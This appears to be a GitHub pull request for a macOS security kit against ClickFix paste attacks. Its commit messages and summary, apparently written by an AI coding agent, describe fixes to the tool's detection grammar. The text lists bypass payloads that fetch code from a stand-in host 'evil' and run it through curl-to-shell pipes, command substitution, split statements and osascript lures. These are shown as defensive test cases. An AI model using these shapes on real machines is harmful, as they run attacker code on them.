security: v0.1.1 — rewrite detection as a tokenizer, close 9 silent bypasses - #1
Merged
Merged
Conversation
…ypasses
v0.1.0's grammar was adversarially tested for the first time and did not hold.
Nine of thirteen realistic ClickFix payload shapes passed ShellGuard silently.
ExposureScan's headline privacy invariant was false for the secret class it
ranks P0. ShellGuard's confirmation prompt could not be completed at all.
Every bypass is published in SECURITY.md and asserted in tests/corpus.tsv.
DETECTION
- New lib/clickfix-grammar.zsh: a tokenizer that respects quoting, splits into
statements and pipeline stages, and normalizes each stage's command word
before classifying it. Replaces regex-over-raw-string, which could not
survive ordinary shell syntax. Closes, among others:
curl "https://evil/x?a=1&b=2" | sh ('&' broke the [^|;&]* run)
curl https://evil/x | bash; (one trailing char broke the anchor)
curl https://evil/x | /bin/sh (a path broke the bare literal)
bash -c "$(curl -fsSL https://evil/x)" (no pipe shape existed)
$(curl https://evil/x) (substitution with no eval)
curl -o /tmp/p https://evil/x; sh /tmp/p (split across statements)
osascript -e 'do shell script "curl … | zsh"' (Script Editor lure)
- Removed raw.githubusercontent.com / raw.github.com from the default
allowlist. Any GitHub account can publish there, so the guard was telling an
attacker where to stage a payload it would then wave through in silence.
Trust is now scheme+host+path-prefix; the wildcard-subdomain rule is gone.
- The allowlist can no longer waive always-hostile rules (osascript, /dev/tcp,
quarantine stripping, decoders). v0.1.0 applied it uniformly after every
pattern, silently waiving its own osascript rule.
- Added xattr quarantine-stripping, hdiutil-of-remote-image, and zero-width /
bidi / homoglyph detection.
THE CONFIRMATION GATE COULD NOT BE COMPLETED
- read -r < /dev/tty inside a ZLE widget never returns: the line editor holds
the terminal in raw mode with echo off, and Enter sends CR, not LF. The
typed-phrase gate — the entire point of the block tier — was uncompletable.
Now uses read-from-minibuffer with an stty sane fallback.
- The banner no longer prints the attacker-controlled command raw, so a payload
cannot emit ANSI to scroll the warning away or forge a confirmation line.
CLIPSENTINEL
- _is_allowlisted was a substring test over the whole clipboard and its list
contained the token "install.sh", so the published AMOS IOC shape raised
nothing. A trailing "# deno.land" silenced the tool entirely.
- Both layers now source one grammar; CI fails if either grows a private host
list or regex again. They previously disagreed on 6 of 13 payloads while the
README claimed they were "kept in lockstep".
- The event log no longer stores a preview of the copied text, which contradicted
the README's "never stored" promise.
EXPOSURESCAN
- redact() let a 12-word BIP-39 seed phrase through byte-identical, along with
postgres://admin:hunter2@host/db. Notes titles were emitted verbatim and macOS
derives them from the note's FIRST LINE. PII filenames were reproduced into
every artifact. Seed-phrase detection matched only the label, so a note
containing nothing but the twelve words was never flagged.
- Ships the 2048-word BIP-39 list; adds control-char, ANSI and markdown
neutralisation; 0600 temp copies with signal-safe cleanup; atomic 0600 output.
- Dropped immutable=1, which made SQLite ignore the -wal file the code copied,
under-counting recent logins in a report that is entirely a risk score.
CANARY
- canary --list aborted with "kind: unbound variable" on any non-empty ledger,
so the advertised audit command had never worked.
FALSE POSITIVES (an uninstalled guard catches nothing)
- Comment stripping, quoted-vs-unquoted /dev/tcp, python -c requiring BOTH a
network and an exec primitive, and a new warn tier for heuristics so the
typed phrase never becomes muscle memory.
TESTS
- tests/corpus.tsv: 78 asserted rows (every bypass + every known FP).
- tests/test-zle-integration.zsh: drives a real interactive zsh over a pty and
checks a marker file to prove an aborted payload does not execute.
- exposurescan: 12 -> 47 tests, incl. end-to-end scan->render->sidecar leak
assertions against a synthetic Notes store.
- Corpus and pty tests run on macOS runners; [[ =~ ]] binds to the platform
regex library, so a Linux-green corpus proves nothing about macOS.
DOCS
- README: corrected the macOS 26.4 paste-protection description (it does not
inspect content; it is suppressed outright when dev tools are present),
and narrowed the "genuinely unoccupied control point" claim now that
BlockBlock covers paste-time as of Feb 2026.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AcTJUv94F34MdtGZCGyyur
…verify it The kit asks for Full Disk Access and, for one optional layer, root. It conceded that tension in the README and then gave the user no mechanism to resolve it. - install.sh now runs an integrity gate before touching the system: refuses on a dirty working tree (naming the modified files), prints the commit to compare against GitHub, and reports whether the checked-out tag is signed. --force overrides, --verify runs the check alone. - SECURITY.md gains "Verifying what you cloned": signed-tag instructions, the signing key and its fingerprint, and an explicit warning that an in-tree MANIFEST.sha256 is theatre — anyone who can edit a tracked file can re-run shasum over it. `.git` is already a content-addressed manifest whose hashes chain to a commit ID, so `git status --porcelain` is the real check. - States plainly what is still missing: the signing key is not yet registered with GitHub, so tags show as unverified in the web UI even though `git verify-tag` succeeds; and the Canary eslogger helper stays documented-not-shipped until it is notarized. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01AcTJUv94F34MdtGZCGyyur
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Security release. Anyone on v0.1.0 should upgrade.
v0.1.0's detection grammar was adversarially tested for the first time and it did not hold. Nine of thirteen realistic ClickFix payload shapes passed ShellGuard silently — no prompt, no banner, no log entry. ExposureScan's headline privacy invariant was false for the exact secret class it ranks P0. And ShellGuard's confirmation prompt could not actually be completed.
Human
Run these to see it for yourself:
What v0.1.0 let through, verified against the shipped regex before the fix:
curl "https://evil/x?a=1&b=2" | shcurl https://evil/x | bash;curl https://evil/x | /bin/shbash -c "$(curl -fsSL https://evil/x)"$(curl https://evil/x)curl …raw.githubusercontent.com/<attacker>/… | shcurl -o /tmp/p https://evil/x; sh /tmp/posascript -e 'do shell script "curl … | zsh"'curl https://evil/x | sh(control)Full write-up with every payload: SECURITY.md.
Agent
Intent. Make the two headline claims true. The kit's whole pitch is refusing claims it cannot back, so this release publishes its own misses rather than fixing quietly.
Root causes, not symptoms.
[^|;&]*could not cross the&in a query string;([[:space:]]|$)broke on a trailing;; the interpreter had to be a bare literal at a fixed offset. Replaced with a tokenizer (lib/clickfix-grammar.zsh) that respects quoting, splits into statements and pipeline stages, and normalizes each stage's command word. Evasion now requires changing what the command does.raw.githubusercontent.comshipped in the default allowlist — the guard was telling an attacker where to stage a payload. Trust is now scheme+host+path prefix; the wildcard-subdomain rule is gone.read -r < /dev/ttyinside a ZLE widget never returns. The line editor holds the tty in raw mode with echo off, and Enter sends CR, not LF. The typed-phrase gate — the entire point of the block tier — was uncompletable. Now usesread-from-minibufferwith anstty sanefallback.Constraints honoured. No new tools — the kit stays at six. No
curl | bashinstaller. Every elevated permission still degrades gracefully.False positives treated as defects, not noise. An uninstalled guard catches nothing, so widening detection required narrowing it elsewhere: comment stripping, quoted-vs-unquoted
/dev/tcp,python -crequiring both a network and an exec primitive (v0.1.0 flaggedpython3 -c "import os; os.system(1)"with no network at all), and a new warn tier so the typed phrase never becomes muscle memory.Edge cases covered. Userinfo trick (
https://sh.rustup.rs@evil/x), suffix confusion (raw.githubusercontent.com.evil.test), one untrusted host among trusted ones, interposed pipeline stages (| tee | sh,| gunzip | bash), non-base64 decoders, ANSI injection into the kit's own warning banner, and markdown/ANSI injection into ExposureScan's report via a crafted filename or note title.Deliberately out of scope (see
docs/v0.2.0-plan.md):INCIDENT.md+panic.sh,preserve.sh, WatchPost baseline integrity,exposurescan --tcc. The plan also explicitly declines to build a general hardening scanner (mSCP and Pareto own it) and recommends against a Windows port, with reasoning.Not done here: the tag is unsigned.
git tag -v v0.1.0currently exits 1, and signingv0.1.1needs your key — worth doing before this is cut as a release, since the kit asks users for Full Disk Access.🤖 Generated with Claude Code
https://claude.ai/code/session_01AcTJUv94F34MdtGZCGyyur